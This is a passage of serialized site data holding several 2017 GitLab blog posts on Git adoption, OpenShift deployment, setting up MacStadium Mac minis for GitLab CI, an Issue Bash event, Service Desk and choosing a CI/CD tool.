&nbsp;&nbsp;\u003Ca style=\"color: rgb(107,79,187);\" href=\"/free-trial/\">now!\u003C/a>!\u003C/p>\n",{"slug":35738,"featured":6,"template":678},"fast-and-natural-continuous-integration-with-gitlab-ci","content:en-us:blog:fast-and-natural-continuous-integration-with-gitlab-ci.yml","Fast And Natural Continuous Integration With Gitlab Ci","en-us/blog/fast-and-natural-continuous-integration-with-gitlab-ci.yml","en-us/blog/fast-and-natural-continuous-integration-with-gitlab-ci",{"_path":35744,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35745,"content":35751,"config":35755,"_id":35757,"_type":16,"title":35758,"_source":17,"_file":35759,"_stem":35760,"_extension":20},"/en-us/blog/learning-curve-is-the-biggest-challenge-developers-face-with-git",{"title":35746,"description":35747,"ogTitle":35746,"ogDescription":35747,"noIndex":6,"ogImage":35748,"ogUrl":35749,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35749,"schema":35750},"Why Git is worth the learning curve","Although the learning curve can pose a challenge, teams have a real incentive to transition to Git.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684078/Blog/Hero%20Images/why-git-is-worth-the-learning-curve.jpg","https://about.gitlab.com/blog/learning-curve-is-the-biggest-challenge-developers-face-with-git","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why Git is worth the learning curve\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2017-05-17\",\n      }",{"title":35746,"description":35747,"authors":35752,"heroImage":35748,"date":35753,"body":35754,"category":8943},[22017],"2017-05-17","\nOver the last decade, distributed version control systems, like Git, have gained popularity and are [regarded as the most important development tools](https://page.gitlab.com/rs/194-VVC-221/images/gitlab-enterprise-survey-2016-report.pdf) by\ndevelopers. Although the learning curve can pose a challenge, developers told us that Git enhances their ability to work together and ship faster, suggesting that managers have a real incentive to help their teams over the initial hill imposed by the transition to Git.\n\n\u003C!-- more -->\n\nWith the full history of the repository stored on each developer’s machine, using Git makes commits, merges and other commands much faster, even enabling developers to work offline. Upgrading your source code management solution to a distributed version control system is the first step toward building a flexible working environment that can support modern development teams, but moving away from legacy systems and tools can be a daunting prospect.\n\n### The challenge\n\nIn our [Global Developer Survey](https://page.gitlab.com/rs/194-VVC-221/images/gitlab-enterprise-survey-2016-report.pdf), the biggest concern respondents cite about using Git is the associated learning curve, with 40 percent saying they consider it an issue:\n\n![learning curve is the biggest challenge devs face with Git](https://about.gitlab.com/images/blogimages/why-git-is-worth-the-learning-curve.png){: .shadow}\u003Cbr>\n\nThere are several reasons why this could be the case. Broadly, Git has a different underlying model than other VCS, one that makes it more intuitive for [computer scientists and mathematicians](http://eagain.net/articles/git-for-computer-scientists/), but potentially less so for those with other backgrounds. Unlike with some programming languages where knowledge of one eases the adoption of another, Git commands are different from those in other version control systems, making familiarity with another system only a minor advantage. Finally, the number of Git commands and arguments that make it a particularly powerful tool also complicate the beginner’s task of learning the ropes. For teams transitioning to Git, this not only means migrating repositories, but relearning ingrained habits and workflows, and it may sting a bit.\n\n### The rewards\n\n#### Greater collaboration and code quality\n\nNearly 80 percent of respondents [confirmed](https://page.gitlab.com/rs/194-VVC-221/images/gitlab-enterprise-survey-2016-report.pdf) that they see increased collaboration with teammates as a major benefit of the Git workflow, which nudges teams to update each other early and often, enabling them to collect feedback regularly and integrate suggestions throughout the process. The accessibility of Git repositories makes it easier for contributors and specialists across your organization to collaborate, making it more likely that errors are spotted, resulting in better and more stable code. Feature branches, or branches containing one feature or bug fix, allow teams to discuss and perfect their code at the merge request stage, before changes are accepted into master. Before merging, a developer can commit their code locally to ensure it works, preserving the quality of the master code base.\n\n#### “Cheaper” branching\n\nThe branching capabilities within Git are largely responsible for its popularity. Developers can create a new branch and isolated environment to work on new features, bug fixes, customer requests, or experiment on something new with minimal cost. Branching with Git is “cheap” in that it's easy to do and doesn’t take up a lot of space. Creating a new branch requires but a single command and no network connection, unlike Subversion and other centralized version control systems, where branching is a slow and repetitive process resulting in a complete copy of all code.\n\n#### Easier merging\n\nWhen coupled with a source code management tool like GitLab, you can enhance merging capabilities with a user interface that allows you to review and comment on changes on branches before merging. At GitLab, we call this a merge request and run [continuous integration](/solutions/continuous-integration/) on every branch as an additional quality gate to ensure everything that goes into the master code base works. With GitLab branching and merging, you can even protect branches to prevent merges that aren’t ready, and apply merge request approvals for an added layer of security.\n\nMore good news: just a few commands are required to get started, and the open source community around the world ensures there’s always someone awake to answer your question.\n\n\n\u003Cp class=\"alert alert-orange\" style=\"background-color: rgba(252,163,38,.3); border-color: rgba(252,163,38,.3); color: rgb(226,67,41) !important; text-align: center;\">Read our &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp;\u003Cstrong>Global Developer Survey Report\u003C/strong> &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp;\u003Ca style=\"color: rgb(107,79,187);\" href=\"https://page.gitlab.com/rs/194-VVC-221/images/gitlab-enterprise-survey-2016-report.pdf\">Check it out it here\u003C/a>!\u003C/p>\n",{"slug":35756,"featured":6,"template":678},"learning-curve-is-the-biggest-challenge-developers-face-with-git","content:en-us:blog:learning-curve-is-the-biggest-challenge-developers-face-with-git.yml","Learning Curve Is The Biggest Challenge Developers Face With Git","en-us/blog/learning-curve-is-the-biggest-challenge-developers-face-with-git.yml","en-us/blog/learning-curve-is-the-biggest-challenge-developers-face-with-git",{"_path":35762,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35763,"content":35769,"config":35773,"_id":35775,"_type":16,"title":35776,"_source":17,"_file":35777,"_stem":35778,"_extension":20},"/en-us/blog/devops-containers-gitlab-openshift",{"title":35764,"description":35765,"ogTitle":35764,"ogDescription":35765,"noIndex":6,"ogImage":35766,"ogUrl":35767,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35767,"schema":35768},"Demo - Auto Deploy from GitLab to an OpenShift container cluster","See how to reliably and repeatably build, test, and deploy an application in a container from GitLab to the OpenShift container cluster.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671657/Blog/Hero%20Images/devops-openshift-webcast-blog-cover.png","https://about.gitlab.com/blog/devops-containers-gitlab-openshift","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Demo - Auto Deploy from GitLab to an OpenShift container cluster\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Lindberg\"}],\n        \"datePublished\": \"2017-05-16\",\n      }",{"title":35764,"description":35765,"authors":35770,"heroImage":35766,"date":35771,"body":35772,"category":734},[28961],"2017-05-16","\n\nContainers are an essential tool for achieving [DevOps](/stages-devops-lifecycle/) at scale. Bringing code and infrastructure closer together, containers provide consistency across environments and tools for developers, QA, and IT. Using GitLab's [built-in CI/CD](/solutions/continuous-integration/) and our integration with OpenShift, you can run all of your CI/CD jobs in a container cluster.\n\n\u003C!-- more -->\n\n## What is a container?\n\nContainers work much like a virtual machine except that, instead of packaging your code with an operating system, containers are run as a Linux process inside of the kernel. This means that each container only contains the code and dependencies needed to run that specific application, making them smaller and faster to run.\n\nFor developers, containers make it possible to build one version of an application that can be easily deployed to multiple types of environments. Essentially, whatever developers and QA runs, is exactly what finds its way to production. What you see in development is what you see in testing, staging, and production. Code can be shipped faster when packaged in a container because errors and bugs are caught earlier in process.\n\nCommunication and collaboration between developers and operations also improves because developers have seen exactly what it is that operations is getting, and operations are running exactly what the developers gave them. The result is that everyone can focus more on shipping quality code faster because applications don't have to be rebuilt as they move through the development lifecycle.\n\nGitLab integrates with both Kubernetes and OpenShift container orchestration platforms, making it possible to run [continuous integration and continuous delivery](/topics/ci-cd/) related jobs in the cluster. It also gives you the ability to set up different environments, called [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/), for different branches of your code base. Review Apps make it easy to view and test changes in an environment, in the cluster, so you can iterate and test faster.\n\n\n### Demo\n\nIn this demonstration, Senior Build Engineer DJ Mountney, will show how you can build, test, and deploy a basic application in a container from GitLab to an OpenShift container cluster.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/EwbhA53Jpp4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n### Watch the webcast\n\nTo learn more about containers, how they can help scale your [DevOps workflow](/topics/devops/), and the GitLab/OpenShift integration, [watch](https://www.youtube.com/watch?v=uofcDMclUnk&feature=youtu.be) **The DevOps Journey: Using Containers webcast**.\n",{"slug":35774,"featured":6,"template":678},"devops-containers-gitlab-openshift","content:en-us:blog:devops-containers-gitlab-openshift.yml","Devops Containers Gitlab Openshift","en-us/blog/devops-containers-gitlab-openshift.yml","en-us/blog/devops-containers-gitlab-openshift",{"_path":35780,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35781,"content":35787,"config":35792,"_id":35794,"_type":16,"title":35795,"_source":17,"_file":35796,"_stem":35797,"_extension":20},"/en-us/blog/how-to-use-macstadium-and-gitlab-ci-to-build-your-macos-or-ios-projects",{"title":35782,"description":35783,"ogTitle":35782,"ogDescription":35783,"noIndex":6,"ogImage":35784,"ogUrl":35785,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35785,"schema":35786},"How to use GitLab CI and MacStadium to build your macOS or iOS projects","Learn how to use GitLab CI on MacStadium's mini servers to build your macOS or iOS projects.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671709/Blog/Hero%20Images/macstadium-datacenter.jpg","https://about.gitlab.com/blog/how-to-use-macstadium-and-gitlab-ci-to-build-your-macos-or-ios-projects","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab CI and MacStadium to build your macOS or iOS projects\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Achilleas Pipinellis\"}],\n        \"datePublished\": \"2017-05-15\",\n      }",{"title":35782,"description":35783,"authors":35788,"heroImage":35784,"date":35790,"body":35791,"category":734},[35789],"Achilleas Pipinellis","2017-05-15","\n\nIn this article, we will see how to get started with\n[MacStadium](https://www.macstadium.com \"MacStadium website\"),\na provider that offers dedicated Mac hardware which you can use with\n[GitLab CI](/solutions/continuous-integration/ \"GitLab CI/CD feature page\")\nand build your macOS or iOS application.\n\n\u003C!-- more -->\n\n[Continuous Integration and Delivery with GitLab](/blog/continuous-integration-delivery-and-deployment-with-gitlab/ \"Blog on CI/CD with GitLab\")\nis easier if you are developing your application on Linux. All you need to do is\nfind a provider, spin up a VM, install [GitLab Runner](https://docs.gitlab.com/runner \"GitLab Runner docs\")\non it and configure your project's [`.gitlab-ci.yml` file](https://docs.gitlab.com/ee/ci/yaml/ \".gitlab-ci.yml reference guide\").\nOn macOS on the other hand, things may not be that easy. Finding a provider that\noffers a Mac machine that will be online 24/7 can be hard. MacStadium is here to\nhelp achieve that goal and offers a discount to all GitLab users. Let's see how\nto make this happen.\n\n---\n\n### On this page\n{:.no_toc}\n\n- TOC\n{:toc}\n\n---\n\n## Choosing a Mac mini plan\n\nThe first step is to choose a plan. MacStadium offers many options, so you can\npick whatever fits your needs. A [Mac mini](https://www.macstadium.com/mac-mini/#products)\nis perfect to test things out and is a good first choice. It should be enough\nto get you started, but depending on your needs you may have to upgrade to a\nmore beefy machine.\n\nDepending on your location and project needs, you have to:\n\n1. Choose the datacenter\n1. Choose the Mac mini\n1. Choose the macOS version\n1. Click **Start Trial** (24 hours) on the Mac mini of your choice to get going\n   in a few steps\n\nAt first you'll be asked to [create a MacStadium account](http://help.macstadium.com/accounts-and-billing/how-to-create-an-account.html \"How to create an account on MacStadium\")\nFill in your information and when in the **Secure Checkout** page, be sure to\ncheck the _I want to use a coupon code_ option and use `GITLAB10` for 10% off.\n\n\u003Ci class=\"fas fa-info-circle\" aria-hidden=\"true\" style=\"color: rgb(49, 112, 143);\">\u003C/i>\nAt the time of this writing, the staged machines come with macOS 10.12.2. As\nnew releases com from Apple, MacStadium tests them thoroughly and then update\ntheir staged machines. Of course, as a customer you can run the OS update on\nyour own machine anytime.\n{: .alert .alert-info}\n\n## Connecting to the Mac mini\n\nWhen you sign up, you'll receive an email with two important pieces of\ninformation:\n\n1. **The static IP address of your Mac.**\n   This will allow you to find your Mac mini from anywhere in the world, and\n   you can also point domain names to this IP address so it's easier to remember.\n\n1. **The username and password to access the machine.**\n   The user is standard for all installs, but the password is randomly\n   generated. Upon the first login, you can and are encouraged to change it.\n\nAfter you have this information, there are two ways of connecting to your Mac mini:\n[VNC](https://en.wikipedia.org/wiki/Virtual_Network_Computing \"VNC article on Wikipedia\")\nand [SSH](https://en.wikipedia.org/wiki/Secure_Shell \"SSH article on Wikipedia\").\n\n### Connecting with VNC\n\nIf connecting from a Mac, [Apple's Screen Sharing](https://support.apple.com/kb/PH25554 \"macOS Sierra: Set up and use screen sharing\")\nis ideal. It's installed on every Mac and can you can connect on your MacStadium\nMac mini easily with the username and password that was sent to you via email.\n\nIf you don't have a favorite VNC client already, there are a number of options\nto choose from:\n\n- [TigerVNC](http://tigervnc.org/ \"TigerVNC website\") (Multi-platform)\n- [Vinagre](https://wiki.gnome.org/Apps/Vinagre \"Vinagre website\") (GNU/Linux)\n- [Remmina](https://remmina.org/ \"Remmina website\") (GNU/Linux)\n- [RealVNC](https://www.realvnc.com/ \"RealVNC website\") (Multi-platform)\n\nWhen you connect with VNC, you can use the same password that is set up for the\nuser on the Mac mini.\n\n\u003Ci class=\"fas fa-info-circle\" aria-hidden=\"true\" style=\"color: rgb(49, 112, 143);\">\u003C/i>\nmacOS has that as a separate setting, but MacStadium's provision scripts\nenable VNC connections by default.\n{: .alert .alert-info}\n\n### Connecting with SSH\n\nYou can SSH into your machine using the username and password. For example, if\nthe username is `administrator` and the IP address of your machine `1.2.3.4`:\n\n```bash\nssh administrator@1.2.3.4\n```\n\nEnter the password when asked (you won't be able to see it), hit Enter and\nyou're in!\n\n## Setting up the development environment\n\nThe following steps are to be performed to the remote Mac machine. We need to\ninstall [Xcode](https://developer.apple.com/xcode/ \"Xcode on Apple's website\")\nand the command line tools that contain the SDKs and UNIX development applications\nlike the LLVM compiler, etc.\n\n\u003Ci class=\"fas fa-info-circle\" aria-hidden=\"true\" style=\"color: rgb(49, 112, 143);\">\u003C/i>\nApart from the needed toolset, the screensaver needs to be disabled otherwise\nthe machine will be put to sleep, thus disrupting the workflow of CI.\nThankfully, all the machines hosted on MacStadium are set to never sleep by\ndefault. It's just done in **System Preferences > Energy Saver**.\n{: .alert .alert-info}\n\n### Installing Xcode\n\nThere are two ways to install Xcode. You can either download it from Apple's\ndeveloper portal or use the App Store where you might be asked to fill in your\ncredit card information. To avoid that, manually download Xcode:\n\n1. Connect via VNC to the remote Mac machine\n1. Open a browser and go to \u003Chttps://developer.apple.com/download/more>\n1. Login with your existing AppleID or create one\n1. Select the Xcode version you wish to install\n\n   ![Download latest stable Xcode](https://about.gitlab.com/images/blogimages/how-to-use-macstadium-and-gitlab-ci-to-build-your-macos-or-ios-projects/download-xcode-without-cc-info.png){: .shadow}\n\n   This should download the Xcode package in your Downloads folder and\n   decompress it automatically. After a couple of minutes it should finish.\n\n1. Open a terminal and move `Xcode.app` to `/Applications` so that it can be\n   found by Launchpad:\n\n   ```\n   mv ~/Downloads/Xcode.app /Applications\n   ```\n\n1. Go to your Applications, and double click on Xcode in order to install it.\n   The verification will begin, that should take a minute.\n1. Answer \"Open\" when you are asked if you are sure you want to open it.\n1. Select \"Agree\" in the License Agreement and provide your administrator\n   password.\n1. The installation process should begin and after a while you will have Xcode\n   installed and ready to be used.\n\nIn the next step we will install the command line developer tools.\n\n### Installing the command line tools\n\nThe command line tools are a subsection of Xcode, so if you installed Xcode,\nyou may skip this part.\n\n1. Open the Terminal app or run this command via SSH:\n\n    ```bash\n    xcode-select --install\n    ```\n\n1. Accept the License Agreement and the installation will begin\n\n---\n\nNow that all development tools are installed, it's time to install GitLab\nRunner.\n\n## Installing and configuring the GitLab Runner\n\nGitLab Runner is responsible for running your jobs in macOS and then it\nreports the results back to GitLab.\n\nTo install it, [follow the instructions in the Runner's documentation](https://docs.gitlab.com/runner/install/osx.html#installation \"Documentation on installing GitLab Runner on macOS\").\nMake sure to also carefully read the [current limitations](https://docs.gitlab.com/runner/install/osx.html#limitations-on-macos \"Limitations of macOS Runner\").\n\n## Testing a project with CI\n\nThe final piece of this puzzle is to set up a project in GitLab (your own\n[CE/EE instance ](/stages-devops-lifecycle/) or even [GitLab.com](/pricing/) ) and hook it up\nwith Mac mini. We will not expand on that, but you can follow this nice blog post\nby Angelo Stavrow on [Setting up GitLab CI for iOS projects](/blog/setting-up-gitlab-ci-for-ios-projects/ \"Blog on setting up CI for iOS projects\").\nIt includes comprehensive steps to get you started.\n\n## Conclusion\n\nHaving a dedicated Mac machine for your development can save you precious time\nwhen you follow the Continuous Integration workflow with your team. In this\ntutorial, you've seen how to quickly get a remote Mac mini up and running\nfor your needs. Be sure to add the promo code `GITLAB10` on checkout for 10% off!\n\nHappy building!\n\n---\n\n\u003Ci class=\"fas fa-info-circle\" aria-hidden=\"true\" style=\"color: rgb(60,118,61);\">\u003C/i>\nGet 10% off of all MacStadium plans by using \u003Cstrong>GITLAB10\u003C/strong> at checkout.\nThe coupon can only be applied when signing up hardware, but if you are an\nexisting customer who is using Gitlab and makes a change in hardware, you can\nalways apply it again or request the discount in a ticket.\n{: .alert .alert-success}\n\n----\n\nCover image [provided by MacStadium](https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/3324#note_29314223).\n{: .note}\n",{"slug":35793,"featured":6,"template":678},"how-to-use-macstadium-and-gitlab-ci-to-build-your-macos-or-ios-projects","content:en-us:blog:how-to-use-macstadium-and-gitlab-ci-to-build-your-macos-or-ios-projects.yml","How To Use Macstadium And Gitlab Ci To Build Your Macos Or Ios Projects","en-us/blog/how-to-use-macstadium-and-gitlab-ci-to-build-your-macos-or-ios-projects.yml","en-us/blog/how-to-use-macstadium-and-gitlab-ci-to-build-your-macos-or-ios-projects",{"_path":35799,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35800,"content":35805,"config":35809,"_id":35811,"_type":16,"title":35812,"_source":17,"_file":35813,"_stem":35814,"_extension":20},"/en-us/blog/gitlab-issue-bash-june-2017",{"title":35801,"description":35802,"ogTitle":35801,"ogDescription":35802,"noIndex":6,"ogImage":33487,"ogUrl":35803,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35803,"schema":35804},"Join GitLab's 3rd Issue Bash this June","Juion us June 2017 and help us to squash some of the open issues in the GitLab Community Edition tracker!","https://about.gitlab.com/blog/gitlab-issue-bash-june-2017","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Join GitLab's 3rd Issue Bash this June\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Fletcher\"}],\n        \"datePublished\": \"2017-05-11\",\n      }",{"title":35801,"description":35802,"authors":35806,"heroImage":33487,"date":35807,"body":35808,"category":299},[33492],"2017-05-11","\n\nThere are currently over 7000 open issues on GitLab CE,\nand we need your help to sort them out! We have over 1500\n[GitLab contributors](http://contributors.gitlab.com/contributors/),\nand we want everyone to be able to find issues to work on.\n\nOf course, some lucky contributors will be rewarded with awesome swag! 🙌\n\n\u003C!-- more -->\n\nOur last Issue Bash helped us to close over 160 issues.\n{:.alert .alert-info .text-center}\n\n## When is it going to happen?\n\nWe'll kick it off at 00:01 UTC on Saturday, **June 3rd**\nand will keep it up until 23:59 UTC on Sunday, **June 4th**.\n\n## Who can contribute?\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n&nbsp;&nbsp;\n**At GitLab, everyone can contribute!**\n&nbsp;&nbsp;\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\nThis is your chance to get involved! Most of the tasks don't require\ntechnical expertise, therefore, non-technical community\nmembers are definitely welcome and prize worthy!\n\n## How do you get involved?\n\nThe last issue bash our contributors made over 1600 contributions in order to close 160 issues, label over 200 of our unlabelled issues and add accurate labels to countless others.\n\nThere are four main things we need from our task force:\n\n- Track issues that can be easily closed\n- Categorize issues\n- Fix known bugs and pain points\n- Ship existing feature proposals\n\nCheck out the [Q2 Issue Bash Proposal](https://gitlab.com/gitlab-org/gitlab-ce/issues/29256) to find out how to get started.\n\nWe had some great feedback from the Community after the last event, so we aim to make some changes over the next few events to make participating and collaboration easier and more fun!\n\n## Prizes\n\nWe have some awesome swag ready for you:\n\n- Five T-shirts\n- Four pairs of pajama pants\n- Three Moleskine notebooks\n- Two [PocketCHIPs](https://getchip.com/pages/pocketchip)\n- One messenger bag (filled with all the stuff listed above!)\n\n![GitLab Issue Bash - Prizes](https://about.gitlab.com/images/blogimages/gitlab-issue-bash-june-2017-prizes.png)\n\nIf we can beat our old target from the last Issue Bash (> 200 issue closures), we'll give away a **mystery prize** as well! 🎉 We still don't know what it is!\n\nUsers making any contributions to the project that fall into the above categories,\nbetween the start and end times of the event, will be entered into the random draw\nto win a prize. The contributions will be collated after the end of the event and\nprize winners, drawn at random, will be contacted in the weeks that follow.\n\n## Questions? More info?\n\nSeveral [GitLab team](/company/team/) and [GitLab core team](/community/core-team/) members will be on hand to answer questions and close issues. Please mention them if you need any help or need attention on an issue\n\n* [@markglenfletcher](https://gitlab.com/markglenfletcher)\n* [@haynes](https://gitlab.com/haynes)\n* [@blackst0ne](https://gitlab.com/blackst0ne)\n",{"slug":35810,"featured":6,"template":678},"gitlab-issue-bash-june-2017","content:en-us:blog:gitlab-issue-bash-june-2017.yml","Gitlab Issue Bash June 2017","en-us/blog/gitlab-issue-bash-june-2017.yml","en-us/blog/gitlab-issue-bash-june-2017",{"_path":35816,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35817,"content":35823,"config":35827,"_id":35829,"_type":16,"title":35830,"_source":17,"_file":35831,"_stem":35832,"_extension":20},"/en-us/blog/demo-service-desk",{"title":35818,"description":35819,"ogTitle":35818,"ogDescription":35819,"noIndex":6,"ogImage":35820,"ogUrl":35821,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35821,"schema":35822},"Demo - GitLab Service Desk","In 9.1, we introduced our new Service Desk feature, allowing your customers to reach you inside GitLab simply by using a support email address.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684042/Blog/Hero%20Images/demo-service-desk.jpg","https://about.gitlab.com/blog/demo-service-desk","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Demo - GitLab Service Desk\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Victor Wu\"}],\n        \"datePublished\": \"2017-05-09\",\n      }",{"title":35818,"description":35819,"authors":35824,"heroImage":35820,"date":35825,"body":35826,"category":734},[30512],"2017-05-09","\nAs you expand your software products, GitLab's new [Service Desk](/releases/2017/04/22/gitlab-9-1-released/#service-desk-eep) feature in [9.1](/releases/2017/04/22/gitlab-9-1-released/) enables your growing user base to send emails to your team via a dedicated address per project for any kind of feedback or support. \n\n\u003C!-- more -->\n\nAfter enabling Service Desk in your project settings, every email sent to the support email address shows up as a confidential issue in your project. Commenting on them generates a response to the original email sender, creating a brand new, integrated user feedback channel right inside GitLab. As Service Desk is built right into GitLab itself, the complexity and inefficiencies of multiple tools and external integrations are eliminated, significantly shortening the cycle time from feedback to software update.\n\n### Demo\n\nWatch this demonstration of a support workflow using Service Desk, and how you can use other features within GitLab — like creating a “service-desk-tickets” label so that your support team can quickly filter issues within a project.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/m6oHRIeT1AE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\nSign up for a free trial of [GitLab Enterprise Edition](/free-trial/) to see firsthand how it can help your team.\n{: .alert .alert-gitlab-orange}\n",{"slug":35828,"featured":6,"template":678},"demo-service-desk","content:en-us:blog:demo-service-desk.yml","Demo Service Desk","en-us/blog/demo-service-desk.yml","en-us/blog/demo-service-desk",{"_path":35834,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35835,"content":35841,"config":35845,"_id":35847,"_type":16,"title":35848,"_source":17,"_file":35849,"_stem":35850,"_extension":20},"/en-us/blog/what-to-look-for-in-ci-cd-solution",{"title":35836,"description":35837,"ogTitle":35836,"ogDescription":35837,"noIndex":6,"ogImage":35838,"ogUrl":35839,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35839,"schema":35840},"What to look for in a continuous integration tool","With so many options out there, here's what you need to weigh up when deciding on a CI/CD tool.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671489/Blog/Hero%20Images/what-to-look-for-ci-cd.jpg","https://about.gitlab.com/blog/what-to-look-for-in-ci-cd-solution","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What to look for in a continuous integration tool\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-05-08\",\n      }",{"title":35836,"description":35837,"authors":35842,"heroImage":35838,"date":35843,"body":35844,"category":8943},[19026],"2017-05-08","\n\nThe advantages of continuous integration and delivery for catching errors while they're still easy to fix and speeding up your time to market are [well documented](/blog/ways-ci-cd-helps/), but even if you're sold on CI/CD, it can be tricky to take the next step. How do you choose the solution that's right for your team?\n\n\u003C!-- more -->\n\nThe factors to consider when choosing a [CI/CD tool](/topics/ci-cd/) are similar to those of [choosing a Git management solution](/blog/choosing-git-management-solution/): hosted vs. on-premise, open source vs. commercial, and integrations. You'll also want to look at how easily the tool allows your team to visualize the release process and nip potential issues in the bud.\n\n## Hosting\n\nWhether you prefer SaaS or to host yourself, you have options. Integrations with third-party services are sometimes easier with a cloud-based service, but some organizations prefer the peace of mind that comes with everything being housed within their walls. Ultimately you need to weigh up what resources you have at your disposal for hosting, and how you want to use them.\n\n## Open source vs. commercial\n\nUsing an open source solution has its advantages: it's free, and you can look under the hood and make alterations if needed. Make sure you do your research before committing though: do you need priority access to support? How will you manage if the vendor decides to abandon the product? Are there any features specific to a product that would make things easier for your team? Ask these questions first.\n\n## Support for integrations\n\nIt's fairly common for an organization's software development lifecycle to rely on several integrated tools (such as [issue boards](/stages-devops-lifecycle/issueboard/) and other discussion features). Find out what your teams are already using and if the CI/CD solution you're considering is supported. There's been growing interest in built-in CI/CD, which means developers can spend less time stringing together their tooling and more on new features and improvements. Bringing all your tools under one product with one interface and datastore is also useful for things like [cycle analytics](/product/cycle-analytics/), which can help to reduce the time between coming up with an idea and deploying it.\n\n## Visualizing the release process\n\nOne of the advantages of leveraging CI/CD is being able to see changes and new additions from the moment they're created. Does your chosen solution offer [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/), so you can automatically check out a live preview of new code? You might also benefit from [Deploy Boards](/releases/2017/03/22/gitlab-9-0-released/#deploy-boards-eep), where you can watch a deploy roll out across pods and monitor the health and deployment status of each environment, all in one place. This makes it easier to spot problems and stop or roll back with one click.  These are just a couple of features that can make a significant difference to your team's efficiency.\n\n## So how does GitLab CI/CD stack up?\n\nWe offer **self-managed** options for both\n[GitLab Enterprise Edition and Community Edition](/stages-devops-lifecycle/)\nand a **hosted** option for GitLab Enterprise Edition Premium on [GitLab.com](/).\n\nWe have a **free and open source** offering, GitLab Community Edition, and two **enterprise** offerings,\nEnterprise Edition Starter and Enterprise Edition Premium, with advanced features such as [GitLab Geo](https://docs.gitlab.com/ee/administration/geo/index.html), High Availability via our [Reference Architectures)](https://docs.gitlab.com/ee/administration/reference_architectures/) and [Disaster Recovery](https://docs.gitlab.com/ee/administration/geo/disaster_recovery/), [File Locking](https://docs.gitlab.com/ee/user/project/file_lock.html) and [Service Desk](https://docs.gitlab.com/ee/user/project/service_desk.html).\n\nYou can **visualize your release process** in all versions of GitLab with GitLab [CI/CD Pipelines](https://docs.gitlab.com/ee/ci/pipelines/index.html), [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) and [Prometheus monitoring](https://docs.gitlab.com/ee/administration/monitoring/prometheus/).\nGitLab Enterprise Premium comes with [Deploy Boards](https://docs.gitlab.com/ee/user/project/deploy_boards.html) and\n[Canary Deployments](/releases/2017/04/22/gitlab-9-1-released/#canary-deployments-eep) for even more advanced control over deployments.\n\nVisit our [Product page](/stages-devops-lifecycle/) and [DevOps tools page](/competition/) to see how GitLab measures against other tools.\n\nTo learn more about CI/CD and how it can help you release earlier and more often, watch our webcast, \"[From Continuous Integration to Continuous Everything](https://page.gitlab.com/20170301_continuouseverything.html)\" on demand.\n{: .alert .alert-gitlab-orange}\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/PavW0JeY_Qc\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\n\n“spiral” by Vadim Timoshkin is licensed under [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/)\n{: .note}\n",{"slug":35846,"featured":6,"template":678},"what-to-look-for-in-ci-cd-solution","content:en-us:blog:what-to-look-for-in-ci-cd-solution.yml","What To Look For In Ci Cd 